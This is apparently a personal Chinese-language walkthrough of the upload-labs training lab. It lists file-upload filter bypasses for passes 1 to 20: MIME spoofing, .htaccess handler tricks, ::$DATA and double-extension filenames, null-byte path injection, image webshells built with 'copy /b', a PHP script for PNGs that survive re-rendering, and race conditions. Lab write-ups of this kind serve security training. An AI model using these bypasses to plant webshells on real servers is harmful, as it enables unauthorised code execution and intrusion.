2023/08/03:upload-lab记录

Pass 1

F12查看前端,可知仅为前端过滤,浏览器禁用脚本即可

Pass 2

MIME检测
抓包更改type字段即可

Pass 3

后缀名检测
更改文件后缀即可,如把php改为php5

Pass 4

黑名单绕过
.htaccess文件绕过
生成文件.htaccess写入SetHandler application/x-httpd-php
将该文件上传至服务器
修改一句话木马为图片后缀

Pass 5

黑名单绕过
过滤为删除文件名末尾的点,可以将后缀设置为.PHP

Pass 6

黑名单空格绕过
1.php

Pass 7

黑名单点绕过
可该为1.php.

Pass 8

黑名单::$DATA
1.php.1.php::$DATA

Pass 9

黑名单绕过
1.php::$DATA

Pass 10

双写绕过
1.pphphp

Pass 11

白名单
查看源码,发现文件路径可控
save_path=../upload/1.php%00
filename="1.png"

Pass 12

与上题类似,但这次改为POST传递save-path

Pass 13

该题需要生成图片马
源代码会检查文件头两个字节
可在cmd中执行copy shelltry.jpg /b + webshell.php /a test.jpg并将其上传,后点击“文件包含漏洞”链接进入利用文件包含漏洞读取文件

Pass 14 & 15

在上一题的图片马加上文件头(如gif文件需在文件内加GIF89a字段),也可直接上传php后拦截修改

Pass 16

二次渲染绕过
来源:https://blog.csdn.net/m0_72755466/article/details/128499580?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169131954216800182737096%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169131954216800182737096&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-2-128499580-null-null.142^v92^chatsearchT0_1&utm_term=upload-labs%E9%80%9A%E5%85%B3&spm=1018.2226.3001.4187
GIF:
首先将GIF文件与php一句话木马合并,再将上传后的文件下载与合并后的文件对比(如010_Editor),在未被渲染的部分写一句话木马
PNG:
需要脚本构造图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

1.准备png图片
2.在cmd使用php命令执行该脚本生成新png图片
3.使用新图片上传
4.在文件包含漏洞处进行传参

Pass 17

这关存在逻辑漏洞

1
2
3
4
5
6
7
8
9
10
11
12
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}

在对输入进行验证之前已经将文件移入上传文件夹,可以采用条件竞争
用burp拦截数据包发送到测试器模块,在另一个浏览器不断在上传文件的url刷新直到访问成功即可

Pass 18

审计代码,该代码会先进行文件类型匹配,通过后移动到upload同级目录,再对文件重命名;而在能通过白名单的后缀中,.7z不会被浏览器解析,利用浏览器遇到不能解析的后缀向前解析的特性考虑构造1.php.7z,使用Pass 17的方式尝试上传访问该文件

Pass 19

定义了黑名单但没有小写转换,仅对保存文件名黑名单处理
可以直接大写绕过1.PHP

Pass 20

首先会进行MIME检查,之后会对save_name最后一项进行检查
因此,抓包后设置save_name[0]save_name[2],前者将文件类型设置为php,后者设置为与MIME对应的文件类型